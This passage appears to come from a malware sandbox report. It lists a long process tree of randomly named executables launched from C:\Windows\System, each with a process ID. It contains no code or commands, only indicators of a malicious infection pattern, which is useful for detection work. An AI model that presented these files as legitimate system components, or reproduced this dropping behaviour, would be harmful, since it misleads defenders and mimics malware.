  C:\Windows\System\xkdAvDh.exe
  2⤵
  PID:7308
- C:\Windows\System\AsvxkKT.exe
  C:\Windows\System\AsvxkKT.exe
  2⤵
  PID:7328
- C:\Windows\System\IuaummL.exe
  C:\Windows\System\IuaummL.exe
  2⤵
  PID:7356
- C:\Windows\System\teEwbRh.exe
  C:\Windows\System\teEwbRh.exe
  2⤵
  PID:7372
- C:\Windows\System\YrwEWsO.exe
  C:\Windows\System\YrwEWsO.exe
  2⤵
  PID:7396
- C:\Windows\System\HYASIUX.exe
  C:\Windows\System\HYASIUX.exe
  2⤵
  PID:7464
- C:\Windows\System\qmjbpsJ.exe
  C:\Windows\System\qmjbpsJ.exe
  2⤵
  PID:7480
- C:\Windows\System\sjddQRx.exe
  C:\Windows\System\sjddQRx.exe
  2⤵
  PID:7504
- C:\Windows\System\cRvODGQ.exe
  C:\Windows\System\cRvODGQ.exe
  2⤵
  PID:7524
- C:\Windows\System\srsceTP.exe
  C:\Windows\System\srsceTP.exe
  2⤵
  PID:7576
- C:\Windows\System\sbLBctz.exe
  C:\Windows\System\sbLBctz.exe
  2⤵
  PID:7600
- C:\Windows\System\tRoRgHL.exe
  C:\Windows\System\tRoRgHL.exe
  2⤵
  PID:7620
- C:\Windows\System\QdUXmcZ.exe
  C:\Windows\System\QdUXmcZ.exe
  2⤵
  PID:7644
- C:\Windows\System\ybaIAzD.exe
  C:\Windows\System\ybaIAzD.exe
  2⤵
  PID:7660
- C:\Windows\System\jWbvFzh.exe
  C:\Windows\System\jWbvFzh.exe
  2⤵
  PID:7684
- C:\Windows\System\rMSlISR.exe
  C:\Windows\System\rMSlISR.exe
  2⤵
  PID:7728
- C:\Windows\System\PutiGyR.exe
  C:\Windows\System\PutiGyR.exe
  2⤵
  PID:7796
- C:\Windows\System\POjpdpH.exe
  C:\Windows\System\POjpdpH.exe
  2⤵
  PID:7848
- C:\Windows\System\bqgTxLj.exe
  C:\Windows\System\bqgTxLj.exe
  2⤵
  PID:7880
- C:\Windows\System\HBdaWHD.exe
  C:\Windows\System\HBdaWHD.exe
  2⤵
  PID:7896
- C:\Windows\System\PmStufS.exe
  C:\Windows\System\PmStufS.exe
  2⤵
  PID:7936
- C:\Windows\System\cnleDrH.exe
  C:\Windows\System\cnleDrH.exe
  2⤵
  PID:7952
- C:\Windows\System\EZuTqCV.exe
  C:\Windows\System\EZuTqCV.exe
  2⤵
  PID:7972
- C:\Windows\System\jLczJmu.exe
  C:\Windows\System\jLczJmu.exe
  2⤵
  PID:8008
- C:\Windows\System\KgEMLaV.exe
  C:\Windows\System\KgEMLaV.exe
  2⤵
  PID:8028
- C:\Windows\System\OnARSby.exe
  C:\Windows\System\OnARSby.exe
  2⤵
  PID:8104
- C:\Windows\System\uIAxmeO.exe
  C:\Windows\System\uIAxmeO.exe
  2⤵
  PID:8132
- C:\Windows\System\HRkjACn.exe
  C:\Windows\System\HRkjACn.exe
  2⤵
  PID:8148
- C:\Windows\System\JKfQmBQ.exe
  C:\Windows\System\JKfQmBQ.exe
  2⤵
  PID:8168
- C:\Windows\System\qWTIAPF.exe
  C:\Windows\System\qWTIAPF.exe
  2⤵
  PID:7180
- C:\Windows\System\vtWyrlV.exe
  C:\Windows\System\vtWyrlV.exe
  2⤵
  PID:7208
- C:\Windows\System\PHnLKVP.exe
  C:\Windows\System\PHnLKVP.exe
  2⤵
  PID:7300
- C:\Windows\System\fvrgiRO.exe
  C:\Windows\System\fvrgiRO.exe
  2⤵
  PID:7352
- C:\Windows\System\MomCYnK.exe
  C:\Windows\System\MomCYnK.exe
  2⤵
  PID:7336
- C:\Windows\System\EpraDcF.exe
  C:\Windows\System\EpraDcF.exe
  2⤵
  PID:7364
- C:\Windows\System\qelunza.exe
  C:\Windows\System\qelunza.exe
  2⤵
  PID:7548
- C:\Windows\System\qqtXPyZ.exe
  C:\Windows\System\qqtXPyZ.exe
  2⤵
  PID:7516
- C:\Windows\System\gKIfjwL.exe
  C:\Windows\System\gKIfjwL.exe
  2⤵
  PID:7612
- C:\Windows\System\YyLUTLt.exe
  C:\Windows\System\YyLUTLt.exe
  2⤵
  PID:7668
- C:\Windows\System\OAvaPMv.exe
  C:\Windows\System\OAvaPMv.exe
  2⤵
  PID:7740
- C:\Windows\System\uGxXziN.exe
  C:\Windows\System\uGxXziN.exe
  2⤵
  PID:7792
- C:\Windows\System\JTrDxCl.exe
  C:\Windows\System\JTrDxCl.exe
  2⤵
  PID:7912
- C:\Windows\System\kxCiNUQ.exe
  C:\Windows\System\kxCiNUQ.exe
  2⤵
  PID:7916
- C:\Windows\System\xyktPut.exe
  C:\Windows\System\xyktPut.exe
  2⤵
  PID:8000
- C:\Windows\System\vXlVfai.exe
  C:\Windows\System\vXlVfai.exe
  2⤵
  PID:8120
- C:\Windows\System\vrEFsIa.exe
  C:\Windows\System\vrEFsIa.exe
  2⤵
  PID:8164
- C:\Windows\System\pyMHltW.exe
  C:\Windows\System\pyMHltW.exe
  2⤵
  PID:8188
- C:\Windows\System\BNaWJUY.exe
  C:\Windows\System\BNaWJUY.exe
  2⤵
  PID:7408
- C:\Windows\System\tdonWfQ.exe
  C:\Windows\System\tdonWfQ.exe
  2⤵
  PID:7496
- C:\Windows\System\ZxBAnBg.exe
  C:\Windows\System\ZxBAnBg.exe
  2⤵
  PID:7632
- C:\Windows\System\uIvGwKw.exe
  C:\Windows\System\uIvGwKw.exe
  2⤵
  PID:7716
- C:\Windows\System\CPooMnZ.exe
  C:\Windows\System\CPooMnZ.exe
  2⤵
  PID:7808
- C:\Windows\System\ucqmmnG.exe
  C:\Windows\System\ucqmmnG.exe
  2⤵
  PID:8096
- C:\Windows\System\WVyMLdu.exe
  C:\Windows\System\WVyMLdu.exe
  2⤵
  PID:8160
- C:\Windows\System\ltvsgSJ.exe
  C:\Windows\System\ltvsgSJ.exe
  2⤵
  PID:7320
- C:\Windows\System\ikNMGpx.exe
  C:\Windows\System\ikNMGpx.exe
  2⤵
  PID:7788
- C:\Windows\System\QkRRXUn.exe
  C:\Windows\System\QkRRXUn.exe
  2⤵
  PID:7860
- C:\Windows\System\ydSNzTe.exe
  C:\Windows\System\ydSNzTe.exe
  2⤵
  PID:7256
- C:\Windows\System\tOiYVFT.exe
  C:\Windows\System\tOiYVFT.exe
  2⤵
  PID:8200
- C:\Windows\System\IeZARfk.exe
  C:\Windows\System\IeZARfk.exe
  2⤵
  PID:8260
- C:\Windows\System\FTPiEXX.exe
  C:\Windows\System\FTPiEXX.exe
  2⤵
  PID:8304
- C:\Windows\System\bqJCUMN.exe
  C:\Windows\System\bqJCUMN.exe
  2⤵
  PID:8328
- C:\Windows\System\XLTHxYI.exe
  C:\Windows\System\XLTHxYI.exe
  2⤵
  PID:8348
- C:\Windows\System\vlvnKHB.exe
  C:\Windows\System\vlvnKHB.exe
  2⤵
  PID:8388
- C:\Windows\System\WBOUXFw.exe
  C:\Windows\System\WBOUXFw.exe
  2⤵
  PID:8408
- C:\Windows\System\QvVYcyi.exe
  C:\Windows\System\QvVYcyi.exe
  2⤵
  PID:8440
- C:\Windows\System\OGsJaFs.exe
  C:\Windows\System\OGsJaFs.exe
  2⤵
  PID:8460
- C:\Windows\System\NybajPP.exe
  C:\Windows\System\NybajPP.exe
  2⤵
  PID:8500
- C:\Windows\System\CtUBgDF.exe
  C:\Windows\System\CtUBgDF.exe
  2⤵
  PID:8520
- C:\Windows\System\ARQbqGv.exe
  C:\Windows\System\ARQbqGv.exe
  2⤵
  PID:8536
- C:\Windows\System\GpiOKIS.exe
  C:\Windows\System\GpiOKIS.exe
  2⤵
  PID:8560
- C:\Windows\System\FROhpWb.exe
  C:\Windows\System\FROhpWb.exe
  2⤵
  PID:8604
- C:\Windows\System\WgHMNaX.exe
  C:\Windows\System\WgHMNaX.exe
  2⤵
  PID:8640
- C:\Windows\System\EnNdqwU.exe
  C:\Windows\System\EnNdqwU.exe
  2⤵
  PID:8656
- C:\Windows\System\qAboAwv.exe
  C:\Windows\System\qAboAwv.exe
  2⤵
  PID:8676
- C:\Windows\System\eEZmIRN.exe
  C:\Windows\System\eEZmIRN.exe
  2⤵
  PID:8704
- C:\Windows\System\moLttTh.exe
  C:\Windows\System\moLttTh.exe
  2⤵
  PID:8736
- C:\Windows\System\GpCNZml.exe
  C:\Windows\System\GpCNZml.exe
  2⤵
  PID:8756
- C:\Windows\System\APmBzxo.exe
  C:\Windows\System\APmBzxo.exe
  2⤵
  PID:8792
- C:\Windows\System\qeOfcjI.exe
  C:\Windows\System\qeOfcjI.exe
  2⤵
  PID:8832
- C:\Windows\System\kxWOMgA.exe
  C:\Windows\System\kxWOMgA.exe
  2⤵
  PID:8872
- C:\Windows\System\lVqVHLn.exe
  C:\Windows\System\lVqVHLn.exe
  2⤵
  PID:8892
- C:\Windows\System\wEITPzl.exe
  C:\Windows\System\wEITPzl.exe
  2⤵
  PID:8920
- C:\Windows\System\arulszv.exe
  C:\Windows\System\arulszv.exe
  2⤵
  PID:8940
- C:\Windows\System\qoGkHlD.exe
  C:\Windows\System\qoGkHlD.exe
  2⤵
  PID:8956
- C:\Windows\System\eFximpa.exe
  C:\Windows\System\eFximpa.exe
  2⤵
  PID:8980
- C:\Windows\System\OzpUZVD.exe
  C:\Windows\System\OzpUZVD.exe
  2⤵
  PID:9004
- C:\Windows\System\AMZxTRo.exe
  C:\Windows\System\AMZxTRo.exe
  2⤵
  PID:9020
- C:\Windows\System\Ykbwtso.exe
  C:\Windows\System\Ykbwtso.exe
  2⤵
  PID:9048
- C:\Windows\System\FIHxlPt.exe
  C:\Windows\System\FIHxlPt.exe
  2⤵
  PID:9068
- C:\Windows\System\XMnupnh.exe
  C:\Windows\System\XMnupnh.exe
  2⤵
  PID:9124
- C:\Windows\System\kuJHBbl.exe
  C:\Windows\System\kuJHBbl.exe
  2⤵
  PID:9160
- C:\Windows\System\ErijqNZ.exe
  C:\Windows\System\ErijqNZ.exe
  2⤵
  PID:9184
- C:\Windows\System\feglDrE.exe
  C:\Windows\System\feglDrE.exe
  2⤵
  PID:7680
- C:\Windows\System\DTKsviK.exe
  C:\Windows\System\DTKsviK.exe
  2⤵
  PID:8268
- C:\Windows\System\ajZtpTV.exe
  C:\Windows\System\ajZtpTV.exe
  2⤵
  PID:8288
- C:\Windows\System\zFWZbto.exe
  C:\Windows\System\zFWZbto.exe
  2⤵
  PID:8336
- C:\Windows\System\dEniyKx.exe
  C:\Windows\System\dEniyKx.exe
  2⤵
  PID:8384
- C:\Windows\System\RYSYaTP.exe
  C:\Windows\System\RYSYaTP.exe
  2⤵
  PID:8452
- C:\Windows\System\YlMANNi.exe
  C:\Windows\System\YlMANNi.exe
  2⤵
  PID:8476
- C:\Windows\System\FZwCUoM.exe
  C:\Windows\System\FZwCUoM.exe
  2⤵
  PID:8596
- C:\Windows\System\Frjwhsm.exe
  C:\Windows\System\Frjwhsm.exe
  2⤵
  PID:8664
- C:\Windows\System\dqFpaOq.exe
  C:\Windows\System\dqFpaOq.exe
  2⤵
  PID:8724
- C:\Windows\System\WeOfYqg.exe
  C:\Windows\System\WeOfYqg.exe
  2⤵
  PID:8812
- C:\Windows\System\SMxcXNK.exe
  C:\Windows\System\SMxcXNK.exe
  2⤵
  PID:8880
- C:\Windows\System\knxkBAk.exe
  C:\Windows\System\knxkBAk.exe
  2⤵
  PID:8916
- C:\Windows\System\OqVaalH.exe
  C:\Windows\System\OqVaalH.exe
  2⤵
  PID:8976
- C:\Windows\System\xZDrzVj.exe
  C:\Windows\System\xZDrzVj.exe
  2⤵
  PID:9012
- C:\Windows\System\HECTBmi.exe
  C:\Windows\System\HECTBmi.exe
  2⤵
  PID:9120
- C:\Windows\System\xwglHDw.exe
  C:\Windows\System\xwglHDw.exe
  2⤵
  PID:9104
- C:\Windows\System\UTQyPTT.exe
  C:\Windows\System\UTQyPTT.exe
  2⤵
  PID:9176
- C:\Windows\System\RdNOnkz.exe
  C:\Windows\System\RdNOnkz.exe
  2⤵
  PID:8316
- C:\Windows\System\XJHYJnj.exe
  C:\Windows\System\XJHYJnj.exe
  2⤵
  PID:8492
- C:\Windows\System\kdYGfVc.exe
  C:\Windows\System\kdYGfVc.exe
  2⤵
  PID:8648
- C:\Windows\System\YgotKxI.exe
  C:\Windows\System\YgotKxI.exe
  2⤵
  PID:8804
- C:\Windows\System\qDoKhSC.exe
  C:\Windows\System\qDoKhSC.exe
  2⤵
  PID:8904
- C:\Windows\System\iXSDtMj.exe
  C:\Windows\System\iXSDtMj.exe
  2⤵
  PID:9028
- C:\Windows\System\YfRZMNV.exe
  C:\Windows\System\YfRZMNV.exe
  2⤵
  PID:9116
- C:\Windows\System\gBVDETT.exe
  C:\Windows\System\gBVDETT.exe
  2⤵
  PID:9064
- C:\Windows\System\qNfBUxC.exe
  C:\Windows\System\qNfBUxC.exe
  2⤵
  PID:8788
- C:\Windows\System\Tfrgzaf.exe
  C:\Windows\System\Tfrgzaf.exe
  2⤵
  PID:8696
- C:\Windows\System\nZChafn.exe
  C:\Windows\System\nZChafn.exe
  2⤵
  PID:9060
- C:\Windows\System\mavKhft.exe
  C:\Windows\System\mavKhft.exe
  2⤵
  PID:9224
- C:\Windows\System\BKpBfae.exe
  C:\Windows\System\BKpBfae.exe
  2⤵
  PID:9256
- C:\Windows\System\iUPdkMC.exe
  C:\Windows\System\iUPdkMC.exe
  2⤵
  PID:9300
- C:\Windows\System\iJiCusq.exe
  C:\Windows\System\iJiCusq.exe
  2⤵
  PID:9340
- C:\Windows\System\tQgxaOj.exe
  C:\Windows\System\tQgxaOj.exe
  2⤵
  PID:9360
- C:\Windows\System\XGdTIzj.exe
  C:\Windows\System\XGdTIzj.exe
  2⤵
  PID:9384
- C:\Windows\System\WYEXlvh.exe
  C:\Windows\System\WYEXlvh.exe
  2⤵
  PID:9448
- C:\Windows\System\mhRWkXR.exe
  C:\Windows\System\mhRWkXR.exe
  2⤵
  PID:9468
- C:\Windows\System\tCoCsET.exe
  C:\Windows\System\tCoCsET.exe
  2⤵
  PID:9536
- C:\Windows\System\JrzXMhY.exe
  C:\Windows\System\JrzXMhY.exe
  2⤵
  PID:9556
- C:\Windows\System\dumKzUN.exe
  C:\Windows\System\dumKzUN.exe
  2⤵
  PID:9580
- C:\Windows\System\RXhVRMs.exe
  C:\Windows\System\RXhVRMs.exe
  2⤵
  PID:9604
- C:\Windows\System\IqHpbFz.exe
  C:\Windows\System\IqHpbFz.exe
  2⤵
  PID:9628
- C:\Windows\System\wquaNVK.exe
  C:\Windows\System\wquaNVK.exe
  2⤵
  PID:9656
- C:\Windows\System\zNPfgEJ.exe
  C:\Windows\System\zNPfgEJ.exe
  2⤵
  PID:9676
- C:\Windows\System\dDFKOiZ.exe
  C:\Windows\System\dDFKOiZ.exe
  2⤵
  PID:9708
- C:\Windows\System\ENINGHZ.exe
  C:\Windows\System\ENINGHZ.exe
  2⤵
  PID:9728
- C:\Windows\System\qxLlVpC.exe
  C:\Windows\System\qxLlVpC.exe
  2⤵
  PID:9752
- C:\Windows\System\uBZrwTv.exe
  C:\Windows\System\uBZrwTv.exe
  2⤵
  PID:9832
- C:\Windows\System\lZaYPoh.exe
  C:\Windows\System\lZaYPoh.exe
  2⤵
  PID:9848
- C:\Windows\System\ezDoMMs.exe
  C:\Windows\System\ezDoMMs.exe
  2⤵
  PID:9876
- C:\Windows\System\HLkyjGz.exe
  C:\Windows\System\HLkyjGz.exe
  2⤵
  PID:9892
- C:\Windows\System\ltwYfdp.exe
  C:\Windows\System\ltwYfdp.exe
  2⤵
  PID:9908
- C:\Windows\System\tfbOpnw.exe
  C:\Windows\System\tfbOpnw.exe
  2⤵
  PID:9924
- C:\Windows\System\QPdFsWG.exe
  C:\Windows\System\QPdFsWG.exe
  2⤵
  PID:9960
- C:\Windows\System\rmTGTml.exe
  C:\Windows\System\rmTGTml.exe
  2⤵
  PID:9980
- C:\Windows\System\HlNzfYn.exe
  C:\Windows\System\HlNzfYn.exe
  2⤵
  PID:10004
- C:\Windows\System\EcagTSN.exe
  C:\Windows\System\EcagTSN.exe
  2⤵
  PID:10024
- C:\Windows\System\dMLdHYq.exe
  C:\Windows\System\dMLdHYq.exe
  2⤵
  PID:10076
- C:\Windows\System\zTZOhlH.exe
  C:\Windows\System\zTZOhlH.exe
  2⤵
  PID:10100
- C:\Windows\System\xteWteF.exe
  C:\Windows\System\xteWteF.exe
  2⤵
  PID:10120
- C:\Windows\System\JYwJXIM.exe
  C:\Windows\System\JYwJXIM.exe
  2⤵
  PID:10152
- C:\Windows\System\QZCgSPa.exe
  C:\Windows\System\QZCgSPa.exe
  2⤵
  PID:10204
- C:\Windows\System\BbHOIXP.exe
  C:\Windows\System\BbHOIXP.exe
  2⤵
  PID:10236
- C:\Windows\System\kLnvqiC.exe
  C:\Windows\System\kLnvqiC.exe
  2⤵
  PID:8552
- C:\Windows\System\sMaMoGK.exe
  C:\Windows\System\sMaMoGK.exe
  2⤵
  PID:9264
- C:\Windows\System\EcFaMxs.exe
  C:\Windows\System\EcFaMxs.exe
  2⤵
  PID:9248
- C:\Windows\System\CyaklOX.exe
  C:\Windows\System\CyaklOX.exe
  2⤵
  PID:9280
- C:\Windows\System\HBKROYk.exe
  C:\Windows\System\HBKROYk.exe
  2⤵
  PID:9420
- C:\Windows\System\kADqHVq.exe
  C:\Windows\System\kADqHVq.exe
  2⤵
  PID:9520
- C:\Windows\System\lrKsHkj.exe
  C:\Windows\System\lrKsHkj.exe
  2⤵
  PID:9564
- C:\Windows\System\iwdfRfE.exe
  C:\Windows\System\iwdfRfE.exe
  2⤵
  PID:9704
- C:\Windows\System\hAtJIPE.exe
  C:\Windows\System\hAtJIPE.exe
  2⤵
  PID:9744
- C:\Windows\System\OWaIGLX.exe
  C:\Windows\System\OWaIGLX.exe
  2⤵
  PID:9828
- C:\Windows\System\whOmZqM.exe
  C:\Windows\System\whOmZqM.exe
  2⤵
  PID:9868
- C:\Windows\System\jmfLJVl.exe
  C:\Windows\System\jmfLJVl.exe
  2⤵
  PID:9916
- C:\Windows\System\IzdKZPB.exe
  C:\Windows\System\IzdKZPB.exe
  2⤵
  PID:9976
- C:\Windows\System\MOWNRSv.exe
  C:\Windows\System\MOWNRSv.exe
  2⤵
  PID:10128
- C:\Windows\System\skAYlRd.exe
  C:\Windows\System\skAYlRd.exe
  2⤵
  PID:10196
- C:\Windows\System\JejnRDn.exe
  C:\Windows\System\JejnRDn.exe
  2⤵
  PID:10176
- C:\Windows\System\RhhqESF.exe
  C:\Windows\System\RhhqESF.exe
  2⤵
  PID:9308
- C:\Windows\System\yKNuYxB.exe
  C:\Windows\System\yKNuYxB.exe
  2⤵
  PID:9328
- C:\Windows\System\SuzwArJ.exe
  C:\Windows\System\SuzwArJ.exe
  2⤵
  PID:9548
- C:\Windows\System\voGiQhn.exe
  C:\Windows\System\voGiQhn.exe
  2⤵
  PID:9668
- C:\Windows\System\IZPDhKg.exe
  C:\Windows\System\IZPDhKg.exe
  2⤵
  PID:9772
- C:\Windows\System\AJEMqPB.exe
  C:\Windows\System\AJEMqPB.exe
  2⤵
  PID:9888
- C:\Windows\System\GOkqtEO.exe
  C:\Windows\System\GOkqtEO.exe
  2⤵
  PID:10020
- C:\Windows\System\exiWfxl.exe
  C:\Windows\System\exiWfxl.exe
  2⤵
  PID:10168
- C:\Windows\System\MiIsbdg.exe
  C:\Windows\System\MiIsbdg.exe
  2⤵
  PID:9372
- C:\Windows\System\STEnZgP.exe
  C:\Windows\System\STEnZgP.exe
  2⤵
  PID:9576
- C:\Windows\System\szvONVO.exe
  C:\Windows\System\szvONVO.exe
  2⤵
  PID:10016
- C:\Windows\System\cEAbdVD.exe
  C:\Windows\System\cEAbdVD.exe
  2⤵
  PID:10252
- C:\Windows\System\ZSXNNXi.exe
  C:\Windows\System\ZSXNNXi.exe
  2⤵
  PID:10296
- C:\Windows\System\iVxNAdN.exe
  C:\Windows\System\iVxNAdN.exe
  2⤵
  PID:10320
- C:\Windows\System\ffsGXxK.exe
  C:\Windows\System\ffsGXxK.exe
  2⤵
  PID:10348
- C:\Windows\System\edxZCTT.exe
  C:\Windows\System\edxZCTT.exe
  2⤵
  PID:10368
- C:\Windows\System\tvmIfNa.exe
  C:\Windows\System\tvmIfNa.exe
  2⤵
  PID:10400
- C:\Windows\System\pqUMViQ.exe
  C:\Windows\System\pqUMViQ.exe
  2⤵
  PID:10436
- C:\Windows\System\FNRLqlw.exe
  C:\Windows\System\FNRLqlw.exe
  2⤵
  PID:10480
- C:\Windows\System\YTJrZIa.exe
  C:\Windows\System\YTJrZIa.exe
  2⤵
  PID:10496
- C:\Windows\System\iIqLhTt.exe
  C:\Windows\System\iIqLhTt.exe
  2⤵
  PID:10520
- C:\Windows\System\OihoglG.exe
  C:\Windows\System\OihoglG.exe
  2⤵
  PID:10548
- C:\Windows\System\qoYKTpQ.exe
  C:\Windows\System\qoYKTpQ.exe
  2⤵
  PID:10576
- C:\Windows\System\dVohGej.exe
  C:\Windows\System\dVohGej.exe
  2⤵
  PID:10600
- C:\Windows\System\TWOLAeZ.exe
  C:\Windows\System\TWOLAeZ.exe
  2⤵
  PID:10616
- C:\Windows\System\muSljEJ.exe
  C:\Windows\System\muSljEJ.exe
  2⤵
  PID:10636
- C:\Windows\System\sqcMHoh.exe
  C:\Windows\System\sqcMHoh.exe
  2⤵
  PID:10660
- C:\Windows\System\AGdnisG.exe
  C:\Windows\System\AGdnisG.exe
  2⤵
  PID:10688
- C:\Windows\System\HLLRsWx.exe
  C:\Windows\System\HLLRsWx.exe
  2⤵
  PID:10708
- C:\Windows\System\lmsTttb.exe
  C:\Windows\System\lmsTttb.exe
  2⤵
  PID:10756
- C:\Windows\System\aINkBcP.exe
  C:\Windows\System\aINkBcP.exe
  2⤵
  PID:10796
- C:\Windows\System\GaFKwtt.exe
  C:\Windows\System\GaFKwtt.exe
  2⤵
  PID:10816
- C:\Windows\System\nBpyqAB.exe
  C:\Windows\System\nBpyqAB.exe
  2⤵
  PID:10832
- C:\Windows\System\DZUhDVP.exe
  C:\Windows\System\DZUhDVP.exe
  2⤵
  PID:10876
- C:\Windows\System\CWgXdws.exe
  C:\Windows\System\CWgXdws.exe
  2⤵
  PID:10896
- C:\Windows\System\SsMAmFT.exe
  C:\Windows\System\SsMAmFT.exe
  2⤵
  PID:10924
- C:\Windows\System\CKiMcay.exe
  C:\Windows\System\CKiMcay.exe
  2⤵
  PID:10944
- C:\Windows\System\mjTeSrR.exe
  C:\Windows\System\mjTeSrR.exe
  2⤵
  PID:10988
- C:\Windows\System\gXCUJYx.exe
  C:\Windows\System\gXCUJYx.exe
  2⤵
  PID:11012
- C:\Windows\System\lSRZQHm.exe
  C:\Windows\System\lSRZQHm.exe
  2⤵
  PID:11032
- C:\Windows\System\WNiiDgl.exe
  C:\Windows\System\WNiiDgl.exe
  2⤵
  PID:11052
- C:\Windows\System\CwbUaze.exe
  C:\Windows\System\CwbUaze.exe
  2⤵
  PID:11092
- C:\Windows\System\aQkOpJt.exe
  C:\Windows\System\aQkOpJt.exe
  2⤵
  PID:11136
- C:\Windows\System\kaLEWKj.exe
  C:\Windows\System\kaLEWKj.exe
  2⤵
  PID:11160
- C:\Windows\System\FGCSOmh.exe
  C:\Windows\System\FGCSOmh.exe
  2⤵
  PID:11184
- C:\Windows\System\PUBKVGk.exe
  C:\Windows\System\PUBKVGk.exe
  2⤵
  PID:11248
- C:\Windows\System\NfpBBiG.exe
  C:\Windows\System\NfpBBiG.exe
  2⤵
  PID:10200
- C:\Windows\System\mqOSRfr.exe
  C:\Windows\System\mqOSRfr.exe
  2⤵
  PID:9792
- C:\Windows\System\pevupBB.exe
  C:\Windows\System\pevupBB.exe
  2⤵
  PID:10272
- C:\Windows\System\FLouSge.exe
  C:\Windows\System\FLouSge.exe
  2⤵
  PID:10408
- C:\Windows\System\aUrwoVq.exe
  C:\Windows\System\aUrwoVq.exe
  2⤵
  PID:10396
- C:\Windows\System\sNpKsaC.exe
  C:\Windows\System\sNpKsaC.exe
  2⤵
  PID:10456
- C:\Windows\System\bZbzCbX.exe
  C:\Windows\System\bZbzCbX.exe
  2⤵
  PID:10528
- C:\Windows\System\tOuHBWS.exe
  C:\Windows\System\tOuHBWS.exe
  2⤵
  PID:10596
- C:\Windows\System\VbivBRy.exe
  C:\Windows\System\VbivBRy.exe
  2⤵
  PID:10644
- C:\Windows\System\zIuBiYR.exe
  C:\Windows\System\zIuBiYR.exe
  2⤵
  PID:10752
- C:\Windows\System\bWZRcbB.exe
  C:\Windows\System\bWZRcbB.exe
  2⤵
  PID:10788
- C:\Windows\System\mOllUBj.exe
  C:\Windows\System\mOllUBj.exe
  2⤵
  PID:10828
- C:\Windows\System\gfRnvjW.exe
  C:\Windows\System\gfRnvjW.exe
  2⤵
  PID:10936
- C:\Windows\System\amvQRGX.exe
  C:\Windows\System\amvQRGX.exe
  2⤵
  PID:10996
- C:\Windows\System\DzOLhRK.exe
  C:\Windows\System\DzOLhRK.exe
  2⤵
  PID:11020
- C:\Windows\System\ulqOUVn.exe
  C:\Windows\System\ulqOUVn.exe
  2⤵
  PID:11104
- C:\Windows\System\KLPVdkC.exe
  C:\Windows\System\KLPVdkC.exe
  2⤵
  PID:11132
- C:\Windows\System\QwslVAS.exe
  C:\Windows\System\QwslVAS.exe
  2⤵
  PID:11224
- C:\Windows\System\BdioukG.exe
  C:\Windows\System\BdioukG.exe
  2⤵
  PID:10360
- C:\Windows\System\KRKSXiF.exe
  C:\Windows\System\KRKSXiF.exe
  2⤵
  PID:10432
- C:\Windows\System\JVxzVYs.exe
  C:\Windows\System\JVxzVYs.exe
  2⤵
  PID:10428
- C:\Windows\System\qvGrxXn.exe
  C:\Windows\System\qvGrxXn.exe
  2⤵
  PID:10612
- C:\Windows\System\IXoQvUb.exe
  C:\Windows\System\IXoQvUb.exe
  2⤵
  PID:10704
- C:\Windows\System\uPoHNSH.exe
  C:\Windows\System\uPoHNSH.exe
  2⤵
  PID:11004
- C:\Windows\System\YgSRtVT.exe
  C:\Windows\System\YgSRtVT.exe
  2⤵
  PID:11172
- C:\Windows\System\hMIoTmY.exe
  C:\Windows\System\hMIoTmY.exe
  2⤵
  PID:9504
- C:\Windows\System\TbRWYgG.exe
  C:\Windows\System\TbRWYgG.exe
  2⤵
  PID:10812
- C:\Windows\System\LcgwVWj.exe
  C:\Windows\System\LcgwVWj.exe
  2⤵
  PID:10960
- C:\Windows\System\ylPdtQO.exe
  C:\Windows\System\ylPdtQO.exe
  2⤵
  PID:11008
- C:\Windows\System\reolGqh.exe
  C:\Windows\System\reolGqh.exe
  2⤵
  PID:10744
- C:\Windows\System\kWrVprb.exe
  C:\Windows\System\kWrVprb.exe
  2⤵
  PID:11280
- C:\Windows\System\HEfCefj.exe
  C:\Windows\System\HEfCefj.exe
  2⤵
  PID:11328
- C:\Windows\System\juyLryZ.exe
  C:\Windows\System\juyLryZ.exe
  2⤵
  PID:11348
- C:\Windows\System\moqrzkj.exe
  C:\Windows\System\moqrzkj.exe
  2⤵
  PID:11364
- C:\Windows\System\lqTkaAa.exe
  C:\Windows\System\lqTkaAa.exe
  2⤵
  PID:11396
- C:\Windows\System\TzvpacS.exe
  C:\Windows\System\TzvpacS.exe
  2⤵
  PID:11416
- C:\Windows\System\eUgllFk.exe
  C:\Windows\System\eUgllFk.exe
  2⤵
  PID:11444
- C:\Windows\System\frPsZGV.exe
  C:\Windows\System\frPsZGV.exe
  2⤵
  PID:11516
- C:\Windows\System\uAdamTn.exe
  C:\Windows\System\uAdamTn.exe
  2⤵
  PID:11544
- C:\Windows\System\wKTjHwH.exe
  C:\Windows\System\wKTjHwH.exe
  2⤵
  PID:11580
- C:\Windows\System\APInYhd.exe
  C:\Windows\System\APInYhd.exe
  2⤵
  PID:11600
- C:\Windows\System\UQtiuCZ.exe
  C:\Windows\System\UQtiuCZ.exe
  2⤵
  PID:11628
- C:\Windows\System\pWyxydi.exe
  C:\Windows\System\pWyxydi.exe
  2⤵
  PID:11652
- C:\Windows\System\iKcACQg.exe
  C:\Windows\System\iKcACQg.exe
  2⤵
  PID:11668
- C:\Windows\System\VOiznLo.exe
  C:\Windows\System\VOiznLo.exe
  2⤵
  PID:11696
- C:\Windows\System\GtuwKdC.exe
  C:\Windows\System\GtuwKdC.exe
  2⤵
  PID:11720
- C:\Windows\System\jVBRaHw.exe
  C:\Windows\System\jVBRaHw.exe
  2⤵
  PID:11752
- C:\Windows\System\GPNocBl.exe
  C:\Windows\System\GPNocBl.exe
  2⤵
  PID:11772
- C:\Windows\System\HwzaGIL.exe
  C:\Windows\System\HwzaGIL.exe
  2⤵
  PID:11800
- C:\Windows\System\RooFZsE.exe
  C:\Windows\System\RooFZsE.exe
  2⤵
  PID:11816
- C:\Windows\System\lpEAXOk.exe
  C:\Windows\System\lpEAXOk.exe
  2⤵
  PID:11852
- C:\Windows\System\yzxoUus.exe
  C:\Windows\System\yzxoUus.exe
  2⤵
  PID:11868
- C:\Windows\System\cAqmSmB.exe
  C:\Windows\System\cAqmSmB.exe
  2⤵
  PID:11888
- C:\Windows\System\iQgjVyD.exe
  C:\Windows\System\iQgjVyD.exe
  2⤵
  PID:11920
- C:\Windows\System\bwtebtR.exe
  C:\Windows\System\bwtebtR.exe
  2⤵
  PID:11980
- C:\Windows\System\lvKrvEP.exe
  C:\Windows\System\lvKrvEP.exe
  2⤵
  PID:11996
- C:\Windows\System\HNAeNVX.exe
  C:\Windows\System\HNAeNVX.exe
  2⤵
  PID:12032
- C:\Windows\System\qrDjTwe.exe
  C:\Windows\System\qrDjTwe.exe
  2⤵
  PID:12052
- C:\Windows\System\KgmWyNP.exe
  C:\Windows\System\KgmWyNP.exe
  2⤵
  PID:12092
